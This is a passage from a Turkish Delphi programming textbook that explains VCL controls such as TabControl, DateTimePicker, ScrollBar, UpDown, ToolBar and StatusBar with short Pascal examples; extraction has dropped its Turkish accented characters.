TabControl1.Tabs.Add Kontrole yeni bir yaprak eklemek iin kullanlan methoddur. Aada bu husus rneklendirilmitir. procedure TForm1.FormCreate(Sender: TObject); begin TabControl1.Tabs.Add('ifre');//Ekle end; TabControl1.Tabs.Delete Parametre ile belirtilen index numaral yapra silmek iin kullanlan methoddur. lk yapran index numaras 0 dr hatrlatalm. procedure TForm1.TabControl1Changing(Sender: TObject; var AllowChange: Boolean); begin TabControl1.Tabs.Delete(0);//ilk yapra sil end; TabControl1.Tabs.Clear Tm yapraklar silmek iin kullanlan methoddur. procedure TForm1.TabControl1Changing(Sender: TObject; var AllowChange: Boolean); begin TabControl1.Tabs.Clear;//Tm yapraklar sil end; TabControl1.Tabs.Exchange ki yapran yerini deitirmek iin kullanlan methoddur. Aadaki rnekte ilk yaprak ile ikinci yapran yerleri deitirilmektedir. procedure TForm1.TabControl1Changing(Sender: TObject; var AllowChange: Boolean); begin TabControl1.Tabs.Exchange(0,1);//iki yapran yerlerini deitir end; 484

TabControl1.Tabs.IndexOf Parametre ile belirtilen yapran bulunduu sra numarasn veren methoddur. procedure TForm1.TabControl1Changing(Sender: TObject; var AllowChange: Boolean); var sayi:Integer; begin sayi:=TabControl1.Tabs.IndexOf('Genel Bilgiler'); Form1.Caption:=IntToStr(sayi);//sra numarasn yaz end; TabControl1.Tabs.Insert Kontrole yeni yaprak eklemek iin kullanlan methoddur. Add den fark araya eklemeninde yaplabileceidir. Birinci parametreyle belirleyeceiniz index numaral yere yeni yapra ekleyecektir. procedure TForm1.TabControl1Changing(Sender: TObject; var AllowChange: Boolean); begin TabControl1.Tabs.Insert(1,'Yeni Yaprak');//2. sraya ekle end;

Program altrdktan sonra herhangi bir yapran balna tklarsanz (kodun ilemesi iin) drdnc yapranzn forma eklendiini greceksiniz. Eklendii yeride sizin belirlediiniz sanyorum dikkatinizi ekmitir. lk yapran numaras 0 dr. Kodla yaprak eklediiniz iin zerine yerletireceiniz kontrolleride kodla belirlemek zorunda kalacaksnz (daha sonra kodla kontrol oluturma konusuna deinilecektir). 485

TabControl1.Tabs.Move Birinci parametreyle belirtilen yapra ikinci parametre ile belirtilen yere tar. Aadaki kodu ekleyeceiniz button kontrolnn OnClick yordamna da yazabilirsiniz. procedure TForm1.TabControl1Changing(Sender: TObject; var AllowChange: Boolean); begin TabControl1.Tabs.Move(0,1); end; TabControl1.Images TabControl kontrolnde yapraklarda resim gstermek iin kullanlan zelliidir. Burada dikkat edeceiniz husus, yapraklarn sralamasnn ImageList kontrolndeki sralamayla ayn olacadr.

procedure TForm1.FormCreate(Sender: TObject); begin TabControl1.Images:=ImageList1;//resimleri imagelist1 den al TabControl1.Tabs.Add('ifre'); TabControl1.Tabs.Add('Genel Bilgiler'); TabControl1.Tabs.Add('Kiisel Bilgiler'); end; TabControl1.Style Balklarn gsterim eklini belirleyen zelliidir. Vereceiniz deer ile button gibi tklanmasn salayabilirsiniz. Alabilecei tm deerler aadaki tabloda verilmitir. 486

Style tsTabs tsButtons tsFlatButtons Varsaylan deer

Sonu Balk Button eklini alr Balk dz Button eklini alr

procedure TForm1.FormCreate(Sender: TObject); begin TabControl1.Style:=tsButtons; end; TabControl1.MultiSelect True deeri verilmesi durumunda ayn anda iki yaprak seilebilir. procedure TForm1.FormCreate(Sender: TObject); begin TabControl1.MultiSelect:=true; end; TabControl1.MultiLine Yapraklarn tek satra smamas durumunda alt satra inip inmemeyi belirleyen zelliidir. True deeri aktarlrsa alt satra inecektir.

Yukardaki rnekte sol taraftaki kontrolde MultiLine zellii true sa taraftakinde ise false verilmitir. procedure TForm1.FormCreate(Sender: TObject); begin TabControl1.MultiLine:=false; end; 487

TabControl1.TabIndex Seili yapran index numarasn renmek veya yeni bir yapra aktif hale getirmek iin kullanlan zelliidir. procedure TForm1.FormCreate(Sender: TObject); begin TabControl1.Images:=ImageList1; TabControl1.Tabs.Add('ifre'); TabControl1.Tabs.Add('Genel Bilgiler'); TabControl1.Tabs.Add('Kiisel Bilgiler'); TabControl1.TabIndex:=2;//3. yapra aktif yap yani Kiisel Bilgiler yapra end;

488

DateTimePicker Kontrol: Grntsel olarak ComboBox kontrolne benzeyen, alma zamannda ierisinden gerekli tarihi semenize imkan salayan kullanl ve estetik bir kontroldr.

DateTimePicker1.Date Kontroln gsterdii deer bu zellikte tutulur.Sadece DateTime tipli bir deikene aktarlabilir. Yazdrmak iin DateToStr tip dntrme fonksiyonundan faydalanmalsnz. procedure TForm1.Button1Click(Sender: TObject); begin Form1.Caption:=DateToStr(DateTimePicker1.Date);//tarihi yaz end; DateTimePicker1.Time Kontroln gsterdii aktif zaman deeri bu zellikle renilebilir. procedure TForm1.Button1Click(Sender: TObject); begin Form1.Caption:=TimeToStr(DateTimePicker1.Time);//zaman gster end; DateTimePicker2.DateFormat Tarihin gsterim biimini belirleyen zelliidir. Ksa formatl veya uzun formatl tarih seeneini bu zellik belirler. Aada alabilecei seenekler verilmitir.

489

DateFormat dfLong dfShort Uzun tarih format Ksa Tarih Format

Sonu

procedure TForm1.FormCreate(Sender: TObject); begin DateTimePicker1.DateFormat:=dfLong;//uzun format DateTimePicker2.DateFormat:=dfShort;//ksa format end; DateTimePicker1.ShowCheckbox Kontroln gsteriminde check iaretinin olup olmamasn belirleyen zelliidir. True deeri aktarlrsa iaret gzkecektir.

procedure TForm1.FormCreate(Sender: TObject); begin DateTimePicker1.ShowCheckbox:=true; end; 490

DateTimePicker1.DateMode Kontroln ComboBox eklinde mi yoksa alamayan deitirilebilen bir ekilde grnmesini salayan zelliidir.
DateMode dmUpDown dmComboBox Alamaz Alabilir Sonu

sadece

deeri

procedure TForm1.FormCreate(Sender: TObject); begin DateTimePicker1.DateMode:= dmUpDown; end; DateTimePicker1.MaxDate-MinDate Kontroln gsterebilecei minimum ve maximum tarih deerlerini belirleyen iki zelliidir. DateTimePicker1.Kind Tarihi veya zaman gstermesini salayan zelliidir. Alabilecei deerler aada verilmitir.
Kind dtkTime dtkDate Zaman Gster Tarihi Gster Sonu

491

MonthCalendar Kontrol: Programlarnzda takvim amal kullanabileceiniz bir kontroldr. Aada srasyla en genel zellikleri verilmitir.

MonthCalendar1.WeekNumbers Takvimin sol ksmnda yln kanc haftasnda bulunulduunu gsteren stunun gsterilip gsterilmemesini belirleyen zelliidir.

Ekrana dikkat edecek olursanz kontroln ilk stununda yln kanc haftasnda bulunulduu gsterilmektedir. procedure TForm2.FormCreate(Sender: TObject); begin MonthCalendar1.WeekNumbers:=true; end;

492

MonthCalendar1.ShowToday O gne ait tarihin gsterilip gsterilmeyeceini belirleyen zelliidir. True deerinin aktarlmas tarihin gsterilecei anlamn tamaktadr. Aadaki rnekte sol taraftaki kontrolde bu zellik false yaplmtr.

procedure TForm2.FormCreate(Sender: TObject); begin MonthCalendar1.ShowToday:=false; end; MonthCalendar1.CalColors.TitleBackColor Takvime ait baln zemin rengini belirleyen zelliidir. procedure TForm2.FormCreate(Sender: TObject); begin MonthCalendar1.CalColors.TitleBackColor:=clRed; end; MonthCalendar1.CalColors.TitleTextColor Takvime ait baln yazi tipi rengini belirleyen zelliidir. procedure TForm2.FormCreate(Sender: TObject); begin MonthCalendar1.CalColors.TitleTextColor:=clWindow; end;

493

MonthCalendar1.ShowTodayCircle Aktif gnn yuvarlak ierisine alnp alnmayacan belirleyen zelliktir.

procedure TForm2.FormCreate(Sender: TObject); begin MonthCalendar1.ShowTodayCircle:=false; end; MonthCalendar1.Date Kontroln gsterdii tarih deeri bu zellikle renilebilir. procedure TForm2.FormCreate(Sender: TObject); begin Form2.Caption:=DateToStr(MonthCalendar1.Date);//aktif tarihi yaz end; MonthCalendar1.MultiSelect Takvimden birden fazla tarih seilebilmesini salayan zelliidir. True deeri aktarlrsa birden fazla tarih seilebilir (shift tuuyla). procedure TForm2.FormCreate(Sender: TObject); begin MonthCalendar1.MultiSelect:=true;//birden fazla satr se end;

494

ScrollBar Kontrol: Kaydrma ubuu kullanmanz gereken durumlarda projenize eklemeniz gereken bir kontroldr. Aada kendisine has olan zellikleri sralanmtr. ScrollBar1.Position Kontroln gsterdii deer bu zellikle renilip, deitirilebilir. Minimum ile Maximum arasnda bir deer alabilir. procedure TForm1.FormCreate(Sender: TObject); begin ScrollBar1.Position:=50; end; ScrollBar1.Min Kontroln alabilecei minimum deeri tutan zelliidir. Kodla daha kk bir deer girilmeye allrsa hata oluturacaktr. procedure TForm1.FormCreate(Sender: TObject); begin ScrollBar1.Min:=0;//en kk deeri ScrollBar1.Position:=50; end; ScrollBar1.Max Kontroln alabilecei maximum deeri tutan zelliidir. Daha byk bir deer aktarlmaya allrsa hata oluacaktr. procedure TForm1.FormCreate(Sender: TObject); begin ScrollBar1.Min:=0; ScrollBar1.Max:=100;//en byk deer ScrollBar1.Position:=50; end; Kontrole ait position deeri maximum deer ile minimum deer arasnda saysal bir ifade olabilir.

495

ScrollBar1.SmallChange Kontroln sol veya sadaki oka tklanlmas durumunda ne kadarlk bir deiim gsterecei bu zellikle belirlenir. procedure TForm1.FormCreate(Sender: TObject); begin ScrollBar1.SmallChange:=5;//her tklamada 5 birim dei end; ScrollBar1.LargeChange Bu zellikle oklara deil de araya bir noktaya tklanlmas durumunda deerin deiim miktarn belirleyebilirsiniz. Genellikle SmallChange deerinden daha yksek bir deer girilir. procedure TForm1.FormCreate(Sender: TObject); begin ScrollBar1.LargeChange:=10; end; ScrollBar1.Kind Kontroln formun zerinde yatay veya dikey durmasn salayan zelliidir. Alabilecei deerler aada verilmitir.
Kind sbVertical sbHorizontal Dikey Yatay Sonu

procedure TForm1.FormCreate(Sender: TObject); begin ScrollBar1.Min:=0; ScrollBar1.Max:=100; ScrollBar1.Position:=50; ScrollBar1.SmallChange:=5; ScrollBar1.LargeChange:=10; ScrollBar1.Kind:=sbVertical; end;

496

imdi yukarda anlatlan tm zellikleri kullanabileceimiz bir rnek yapalm. rneimiz iin formunuzun zerine bir adet Memo kontrol ile yine bir adet ScrollBar kontrol yerletirip aadaki tasarm grntsn oluturunuz.

Program iin aadaki kod blounu Unit penceresine ekleyiniz. procedure TForm1.FormCreate(Sender: TObject); begin ScrollBar1.Min:=8; ScrollBar1.Max:=72; ScrollBar1.Position:=0; ScrollBar1.SmallChange:=2; ScrollBar1.LargeChange:=4; ScrollBar1.Kind:=sbHorizontal; end; procedure TForm1.ScrollBar1Scroll(Sender: TObject; ScrollCode: TScrollCode;var ScrollPos: Integer); var boyut:Integer; begin boyut:=ScrollBar1.Position; Memo1.Font.Size:=boyut; end; Artk programnz altrp kaydrma ubuunun deerini deitirebilirsiniz. Memo kontrol ierisindeki yaz tipi boyutunun da ayn ekilde deitiini greceksiniz.

497

Splitter Kontrol: Kullanc tarafndan formun zerindeki kontrollerin boyutlarn deitirebilmek iin kullanlan bir kontroldr. Baz durumlarda gerekten ok kullanl bir hal alabilmektedir. Fazla bir zellii olmad iin grevini bir rnekle izah edelim. Birinci admda formunuzun zerine bir adet ListView kontrol yerletirip Align zelliine alLeft deerini aktarn. Daha sonra formunuza iki adet ImageList kontrol yerletirip gerekli resimleri ykleyin.ListView kontrolnn LargeImages zelliine ImageList1 deerini girin. ListView kontrolnn Items zelliine tklayarak aadaki etiketleri ekleyiniz (ImageIndex deerlerini vermeyi unutmayn).

Ardndan formunuza bir adet Splitter kontrol yerletirin. Align zelliinin alLeft olmasna dikkat edin. imdi ikinci ListView kontroln yerletirip Align zelliine alClient deerini girin. Sonrada ViewStyle zelliine vsReport seeneini aktarn. Bu admda ListView2 kontrolnn Columns zelliine tklayp aadaki stunlar oluturun.

498

Artk programnz altrabilirsiniz. Uygulamanz altrdktan sonraki grnts aada verilmitir.

imdi Splitter kontroln mous ile yakalayp sola veya saa doru srkleyiniz. Sa ve solundaki kontrollerin boyutlarnn deitiini greceksiniz.

Splitter1.Width Splitter kontrolnn kalnln belirleyen zelliidir. Kodla veya properties penceresinden kolayca deitirilebilir. procedure TForm1.FormCreate(Sender: TObject); begin Splitter1.Width:=2; end;

499

UpDown Kontrol: Bu kontrol sayesinde nmeric deerler ieren kontrollerin (veya deikenlerin) ierikleri kolayca deitirilebilir. Aada zellikleri sralanmaktadr. UpDown1.Associate Deerini deitireceiniz kontrol gsterebileceiniz bir zelliidir. Properties penceresinden ayarlanabilecei gibi kodla da aadaki ekilde ayarlanabilir. procedure TForm1.FormCreate(Sender: TObject); begin UpDown1.Associate:=Edit1; end; Bu ilemden sonra programnz altrrsanz UpDown kontrol Edit kutusunun soluna aadaki ekilde yerleecektir.

Ayrca Edit kontrolnn ierii UpDown kontrolnn positon deerini gsterecektir. UpDown1.AlignButton Associate zelliiyle gsterilen kontroln solundam yoksa sandam gsterileceini belirleyen zelliidir. Alabilecei seenekler aada verilmitir.
AlignButton udLeft udRight Kontroln solunda Kontroln sanda Sonu

procedure TForm1.FormCreate(Sender: TObject); begin UpDown1.AlignButton:=udLeft; UpDown1.Associate:=Edit1; end; 500

UpDown1.Min Associate zelliiyle gsterilen kontroln alabilecei minimum deeri tutan zelliidir. UpDown1.Max Associate zelliiyle gsterilen kontroln alabilecei maximum deeri tutan zelliidir. UpDown1.Increment UpDown daki oklara tklanlmas durumunda kontroldeki deerin ne kadar deieceini belirleyen zelliidir. procedure TForm1.FormCreate(Sender: TObject); begin UpDown1.AlignButton:=udLeft; UpDown1.Associate:=Edit1; UpDown1.Min:=8; UpDown1.Max:=72; UpDown1.Increment:=2; end; UpDown1.Position Associate zelliiyle gsterilen kontroln ieriinde gsterilecek olan deer bu zellikte tutulur. procedure TForm1.FormCreate(Sender: TObject); begin UpDown1.Position:10; end; 501

imdi btn bu zellikleri kullanabileceimiz gzel bir rnek yapalm. rneimiz iin formunuzun zerine adet Edit,bir adet UpDown, bir adet ComboBox ve 4 adet Label kontrol yerletirip aadaki tasarm oluturunuz.

Aadaki kodlarda Unit pencerenize ekleyip programnz altrabilirsiniz. altrdktan sonra Hz artrp azaltn Vari sreniz her defasnda yeniden hesaplanacaktr. procedure TForm1.FormCreate(Sender: TObject); begin UpDown1.AlignButton:=udRight; UpDown1.Associate:=Edit2; UpDown1.Min:=10; UpDown1.Max:=150; UpDown1.Increment:=5;//5 er 5 er art Edit1.ReadOnly:=true;//klavteden girii engelle ComboBox1.Items.Add('ISTANBUL-ANKARA'); ComboBox1.Items.Add('ISTANBUL-BODRUM'); ComboBox1.Items.Add('ISTANBUL-RZE'); ComboBox1.Items.Add('ISTANBUL-SAMSUN'); ComboBox1.Items.Add('ISTANBUL-BURSA'); ComboBox1.ItemIndex:=0;//ilk eleman gster Edit1.Text:='450'; end; procedure TForm1.ComboBox1Change(Sender: TObject); begin if ComboBox1.Text='ISTANBUL-ANKARA' Then Edit1.Text:='450' 502

else if ComboBox1.Text='ISTANBUL-BODRUM' Then Edit1.Text:='650' else if ComboBox1.Text='ISTANBUL-RZE' Then Edit1.Text:='1050' else if ComboBox1.Text='ISTANBUL-SAMSUN' Then Edit1.Text:='700' else if ComboBox1.Text='ISTANBUL-BURSA' Then Edit1.Text:='300'; end; procedure TForm1.UpDown1Click(Sender: TObject; TUDBtnType); var mesafe,sure:Integer; sonuc:Double; begin mesafe:=StrToInt(Edit1.Text); sure:=StrToInt(Edit2.Text); sonuc:=mesafe/sure ; Edit3.Text:=FloatToStr(sonuc); end;

Button:

503

TrackBar Kontrol: Grafiksel ilemlerde kullanlan kontroldr. Windowsta bir ok yerde bu kontrol kullanmaktadr. Mesela ekran znrl ayarlarnn yapld pencerede bulabilirsiniz.

Aada kontrole ait zellikler verilmitir. TrackBar1.Position Kontroldeki kaydrma paletinin gsterdii deer bu zellikte tutulur. procedure TForm1.FormCreate(Sender: TObject); begin Form1.Caption:=IntToStr( TrackBar1.Position) end; TrackBar1.Max - TrackBar1.Min Kontroln alabilecei minimum ve maximum deerleri belirleyen zellikleridir. Girilen bu deer aral dnda saysal ifade aktarlamaz. procedure TForm1.FormCreate(Sender: TObject); begin TrackBar1.Max:=100; TrackBar1.Min:=0; end; TrackBar1.TickMarks Palete eklini belirleyen zelliidir. Aada alabilecei tm seenekler tablo halinde verilmitir.

504

TickMarks tmTopLeft tmBoth tmBottomRight Ok yok

Sonu Kaydrma ok yn yukar Kaydrma ok yn aa

procedure TForm1.FormCreate(Sender: TObject); begin TrackBar1.TickMarks:=tmTopLeft; TrackBar2.TickMarks:=tmBoth; TrackBar3.TickMarks:=tmBottomRight; end; TrackBar1.TickStyle Kontroldeki deer izgilerinin durumunu belirleyen zelliidir. Aada alabilecei tm seenekler verilmitir.
TickStyle tsAuto tsManual tsNone Varsaylan deer Sadece balang ve bitite izgi Yok Sonu

Yukardaki ekran grntsn oluturmay salayan kod blou aada verilmitir.

505

procedure TForm1.FormCreate(Sender: TObject); begin TrackBar1.TickStyle:=tsAuto; TrackBar2.TickStyle:=tsManual; TrackBar3.TickStyle:=tsNone; end; TrackBar1.Orientation Kontroln yatay veya dikey konumunu belirleyen zelliidir. Aada alabilecei seenekler verilmitir.
Orientation trHorizontal trVertical Yatay Dikey Sonu

procedure TForm1.FormCreate(Sender: TObject); begin TrackBar1.Orientation:= trHorizontal; TrackBar2.Orientation:= trHorizontal; TrackBar3.Orientation:=trVertical; end; TrackBar1.Frequency Gzkecek olan izgi saysn belirleyen zelliidir. procedure TForm1.FormCreate(Sender: TObject); begin TrackBar1.Frequency:=3; end; 506

ProgressBar Kontrol: zellikle dosya indirme veya kopyalama ilemlerinde ok kullanlan, dosyann durumu hakknda kullancy bilgilendiren bir kontroldr. Aada kontrole ait zellikler verilmektedir. ProgressBar1.Position Kontroln ierisindeki renkli ksmn gsterdii deeri tutan zelliidir. procedure TForm1.FormCreate(Sender: TObject); begin Form1.Caption:=IntToStr(ProgressBar1.Position); end; ProgressBar1.Min- ProgressBar1.Max Position deerinin alt ve st snrlarn belirleyen zelliidir. procedure TForm1.FormCreate(Sender: TObject); begin ProgressBar1.Min:=0; ProgressBar1.Max:=100; end; ProgressBar1.Step Renkli alann kaar kaarlk dilimler halinde artacan belirleyen zelliidir. procedure TForm1.FormCreate(Sender: TObject); begin ProgressBar1.Min:=0; ProgressBar1.Max:=100; ProgressBar1.Step:=2;//ikier ikier art end; ProgressBar1.StepIt ProgresBar1.Step:=2 satrnn yapt ii deer belirtmeden yapabilen zelliidir.

507

imdi yukardaki zellikleri ierisinde kullanabileceimiz bir rnek yaparak kontrol daha iyi tanmaya alalim. rneimiz iin formunuza bir adet Timer, bir adet ProgressBar, bir adet Label ve iki adet Button kontrol yerletirin.

var i:Integer=0;//Global olduu iin ilk deer verilebilir procedure TForm1.FormCreate(Sender: TObject); begin ProgressBar1.Min:=1; ProgressBar1.Max:=100; ProgressBar1.Step:=2; Timer1.Interval:=50; Timer1.Enabled:=false; end; procedure TForm1.Timer1Timer(Sender: TObject); begin if i=0 Then begin if ProgressBar1.Position>=100 Then begin i:=1;//dier tarafa dn end else begin ProgressBar1.Position:=ProgressBar1.Position+5;//5 artr end; end else begin if ProgressBar1.Position<=1 Then begin i:=0;//dier tarafa dn 508

end else begin ProgressBar1.Position:=ProgressBar1.Position-5;//5 azalt end; end;


Label1.Caption:='% '+FloatToStr(ProgressBar1.Position*100/ProgressBar1.Max) + ' s Tamamland';

end; procedure TForm1.Button1Click(Sender: TObject); begin Timer1.Enabled:=true;//altr end; procedure TForm1.Button2Click(Sender: TObject); begin Timer1.Enabled:=false;//Durdur end;

509

ToolBar Kontrol: Ara ubuu oluturmak iin kullanlan, ok kullanl ve estetik bir kontroldr. erisine yerletireceiniz dmeler sayesinde bir ok olay tek bir yerden ynetme ansna sahip olabilirsiniz. Genellikle properties penceresinden ayarlamalar yapmak yeterli olacaktr. Fakat baz byk uygulamalarda kodla mdahale etmeniz gerekebilir. Kodla nasl mdahale edebileceiniz daha sonra gsterilecektir. Aada ara ubuu oluturmak iin izlemeniz gereken admlar verilmitir. Formunuza ilk olarak bir adet ImageList kontrol yerletirip gerekli resimleri depolayn. Ardndan formunuza bir adet ToolBar kontrol yerletirip Images zelliine ImageList1 deerini aktarn. nc admda ToolBar1 kontroln seip mousun sa tuuna tklayn. Alan menden New Button seeneini sein. Bu ilemi ekleyeceiniz dme says kadar tekrarlamalsnz. Aralarda verilecek olan boluklar iin alan menden New Seperator seeneini kullanabilirsiniz.

Eklediiniz tm buttonlar bamszdr. Seip properties penceresinden zelliklerini belirleyebilirsiniz. Tm buttonlarn Caption-ImageIndexHint-ShowHint-Style-ShowCaption zelliklerini teker teker ayarlayn. Hatrlatalm buttonlara eklemi olduunuz Caption deerlerinin gzkebilmesi iin ShowCaption seeneinin true yaplmas gerekmektedir. Aksi takdirde Caption lar doldursanz bile etiketler gzkmeyecektir. Caption lara gerekli metinleri girip, ShowCaption zelliini true taptktan sonraki ekran grnts aada verilmitir. Ayn ayarlar sizde rneiniz iin yapn.

510

Bu admda tm buttonlar teker teker seerek ImageIndex deerlerini belirleyin. Ekran grntnz aadaki ekilde deiecektir.

imdide properties penceresinden yaplan ilemi kod penceresinden nasl yapabileceinizi gstermek istiyorum. Formunuza ImageList kontroln yerletirip gerekli resimleri depolayn. Ardndan ToolBar kontroln ekleyip aadaki kodu da Unit pencerenize ekleyin.

Yukardaki ekran grntsn salamak iin formunuza eklemeniz gereken kod blou aada verilmitir. Burada ToolButton kontrollerini kodla yaratmanz gerektii sanyorum dikkatinizi ekmitir. rnekte adet button eklenmi olup says istediiniz kadar artrlabilir.

511

procedure TForm2.FormCreate(Sender: TObject); var yeni:TToolButton; begin ToolBar1.Images:=ImageList1; ToolBar1.ShowCaptions:=true; ToolBar1.AutoSize:=true; //ilk Button yeni:=TToolButton.Create(ToolBar1);//yarat yeni.Parent:=ToolBar1; yeni.ImageIndex:=0; yeni.Caption:='Kes'; //ikinci button yeni:=TToolButton.Create(ToolBar1); yeni.Parent:=ToolBar1; yeni.ImageIndex:=1; yeni.Caption:='Kopyala'; //nc button yeni:=TToolButton.Create(ToolBar1); yeni.Parent:=ToolBar1; yeni.ImageIndex:=2; yeni.Caption:='Yaptr'; end; Kodla Button Kontrollerine Erimek: ToolBar1.Buttons[].Caption Bu zellik sayesinde ara ubuunuzun istediiniz buttonuna eriip etiket deerini deitirebilirsiniz.

Parametre olarak girilen index deeri buttonun ToolBar ierisindeki srasn belli etmektedir. Yaplan deiiklik sadece index numaras belirtilen dme iin etkili olmaktadr. Yukardaki etkiyi salayan kod paras aada verilmitir. 512

procedure TForm2.Button1Click(Sender: TObject); begin ToolBar1.Buttons[0].Caption:='Yeni Deer'; end; ToolBar1.Buttons[].ImageIndex Parametre ile belirtilen buttonun gsterecei resim bu zellikle belirlenir. procedure TForm2.Button1Click(Sender: TObject); begin ToolBar1.Buttons[0].ImageIndex:=2; end; ToolBar1.Buttons[0].Hint- ToolBar1.ShowHint Mousun button zerinde bekletilmesi durumunda aklama balonunun ieriini belirleyen zelliidir.

procedure TForm2.Button1Click(Sender: TObject); begin ToolBar1.Buttons[0].Hint:='Veriyi Kesip Alr'; ToolBar1.ShowHint:=true; end; Program altrp mousu ilk buttonun zerine gtrrseniz, aklama balonunuz alacak kullancy bilgilendirecektir. sterseniz dier buttonlar iinde index numarasn belirterek ayn ilemi yapabilirsiniz.

513

Basl Kalabilen Button Oluturmak: Ara ubuunuzda basl kalabilen dme oluturmak iin Style zelliinden faydalanlr. ToolBar1.Buttons[].Style Ara ubuundaki buttonlarn davrann (basl kalabilen-alabilen vs) belirleyen zelliidir. Alabilecei seenekler aada verilmitir.
Style tbsButton tbsCheck tbsDivider tbsDropDown tbsSeparator Sonu Standart Button gibi davranr. Basl kalabilen button Oluturur. Snr Halini Alr Alabilir Button Oluturur. Araya Boluk Oluturur.

procedure TForm1.FormCreate(Sender: TObject); begin ToolBar1.Buttons[4].Style:=tbsCheck;//Basl kalabilir ToolBar1.Buttons[5].Style:=tbsCheck; ToolBar1.Buttons[6].Style:=tbsCheck; end; Alabilir Button Oluturmak Bir dmenin alt seenekleri olacaksa, yani tek dmeyle birden fazla i yapmak isterseniz, ara ubuunuza alabilir bir button eklemelisiniz. Bu ilem iin yine Style zelliinden faydalanlr. ayet Style deerine tbsDropDown deerini aktarrsanz program bu ii otomatik olarak gerekletirecektir.

514

Aadaki rnekte Kes isimi dmeye alt seenekler eklenmektedir. imdi admlarn teker teker izah edelim. Alan mende gsterilecek seenekleri belirlemek iin formunuza bir adet PopupMenu ekleyin. PopupMenu zerine mous ile ift tklayn. Alan pencerede aadaki gibi iki satrl bir men oluturun.

nc admda ara ubuunda yer alan Kes isimli buttonu mous ile sein. Properties penceresinden DropDownMenu zelliine PopupMenu1 deerini girin.

Artk programnz altrabilirsiniz. DropDownMenu zellii verdiiniz buttonun sa tarafnda aaya doru bir okun belirmi olmas gerekir. Bu oka tklarsanz seenekleri aaya doru alacaktr. procedure TForm1.FormCreate(Sender: TObject); begin ToolBar1.Buttons[0].Style:=tbsDropDown; ToolBar1.Buttons[0].DropdownMenu:=PopupMenu1; end;

515

ToolBar1.Buttons[].DropdownMenu Alabilir men zellii verilen buttonlarn alt seeneklerini belirleyebileceiniz zelliidir. Bu zellie aktarlan nesne PopupMenu kontrol olmaldr. procedure TForm1.FormCreate(Sender: TObject); begin ToolBar1.Buttons[0].Style:=tbsDropDown; ToolBar1.Buttons[0].DropdownMenu:=PopupMenu1; end; Grup Halinde alan Buttonlar Oluturmak: Baz durumlarda buttona tkladnz zaman basl olan dier buttonun bu zelliini yitirmesini isteyebilirsiniz. Bu tr buttonlar iin Grouped zelliinden faydalanlr. procedure TForm1.FormCreate(Sender: TObject); begin ToolBar1.Buttons[8].Style:=tbsCheck; ToolBar1.Buttons[9].Style:=tbsCheck; ToolBar1.Buttons[10].Style:=tbsCheck; ToolBar1.Buttons[8].Grouped:=true; ToolBar1.Buttons[9].Grouped:=true; ToolBar1.Buttons[10].Grouped:=true; end; program altrdktan sonra son buttondan ayn anda ikisini basl hale getiremiyeceksiniz. ToolBar1.Buttons[0].Indeterminate Buttona ilk kez tklanana kadar pasif gibi gsterilmesini salayan zelliidir. Varsaylan deeri false dr.

516

procedure TForm1.FormCreate(Sender: TObject); begin ToolBar1.Buttons[0].Indeterminate:=true; end; ToolBar1.HotImages Cursor buttonlarn zerlerine geldikleri anda baka resimlerin gzkmesini isterseniz bu zellikten faydalanmalsnz. procedure TForm1.FormCreate(Sender: TObject); begin ToolBar1.HotImages:=ImageList2; end; ToolBar1.List Buttonlardaki resimlerle yazlarn yerini ayarlayan zelliidir. Varsaylan deeri false dr ve bu durumda resimler yaznn stnde yer alr. ayet true deeri aktarlrsa resimler etiketin solunda yer alacaktr.

procedure TForm1.FormCreate(Sender: TObject); begin ToolBar1.List:=true; end; ToolBar1.ButtonCount ToolBar kontrolnde bulunan buttonlarn saysn veren zelliidir. Sonuca seperator lerde dahil edilmitir.

517

procedure TForm1.FormCreate(Sender: TObject); begin ToolBar1.List:=true; end; ToolBar1.Flat Buttonlarn kontrol ierisindeki grntsn ayarlayan zelliidir. ayet true deeri aktarlrsa dz bir grnt elde edersiniz.

Program altrdktan sonra mousu buttonlarn zerine gtrdnz zaman hafif bir kabarklk sz konusu olacaktr.

518

StatusBar Kontrol: Pencerenizin en altnda yer alan, kullancy ynlendirmek veya bilgilendirmek amal kullanlan bir kontroldr. Aada zellikleri srasyla listelenmektedir. StatusBar1.Panels.Add StatusBara panel eklemek iin kullanlan methoddur. Bu yntemle dilediiniz kadar paneli kontrolnze ekleyebilirsiniz. procedure TForm1.FormCreate(Sender: TObject); begin StatusBar1.Panels.Add;//ekle end; StatusBar1.Panels[].Text Eklenen panelin etiket deerini belirlemek iin kullanlan zelliidir.

procedure TForm1.FormCreate(Sender: TObject); begin StatusBar1.Panels.Add; StatusBar1.Panels[0].Text:='Prestige Education Center'; end; StatusBar1.Panels[].Width Belirtilen panelin uzunluunu belirleyen zelliidir. Son kalan panel geriye kalan miktar alacaktr.

519

procedure TForm1.FormCreate(Sender: TObject); begin StatusBar1.Panels.Add; StatusBar1.Panels[0].Text:='Prestige Education Center'; StatusBar1.Panels[0].Width:=175; StatusBar1.Panels.add;//ikinci paneli ekle StatusBar1.Panels[1].Text:='Gazi niversitesi'; end;

StatusBar1.Panels[].Alignment Panel ierisindeki yaznn yerini ayarlayan zelliidir. Alabilecei seenekler aada verilmitir
Alignment taRightJustify taLeftJustify taCenter Saa Dayal Sola Dayal Ortada Sonu

StatusBar1.Panels[].Style Panellerin resim veya etiket olarak kullanlmasn salayan zelliidir. Alabilecei seenekler aada verilmitir.
Style psOwnerDraw psText Resim ierikli Panel Text erikli Panel Sonu

procedure TForm1.FormCreate(Sender: TObject); begin StatusBar1.Panels[0].Style:=psOwnerDraw; end; 520

StatusBar1.Panels[].Bevel Panellerin boyutlu grnmlerini ayarlayan zelliidir. Alabilecei seenekler aada verilmitir.
Bevel pbNone pbLowered pbRaised Dz Bask iik Sonu

procedure TForm1.FormCreate(Sender: TObject); //StatusBar begin StatusBar1.Panels.Add; StatusBar1.Panels[0].Text:='Prestige Education Center'; StatusBar1.Panels[0].Width:=175; StatusBar1.Panels.add; StatusBar1.Panels[1].Text:='Gazi niversitesi'; StatusBar1.Panels[1].Width:=175; StatusBar1.Panels.add; StatusBar1.Panels[2].Text:='Eitim Seenekleri'; StatusBar1.Panels[1].Alignment:=taRightJustify; StatusBar1.Panels[0].Bevel:=pbNone; StatusBar1.Panels[1].Bevel:=pbLowered; StatusBar1.Panels[2].Bevel:=pbRaised; end; StatusBar1.Panels[0].Free Parametre ile belirtilen paneli silmek iin kullanlan methoddur. Silinen panel bir daha geri alnamaz sadece yenisi yaratlabilir.

521

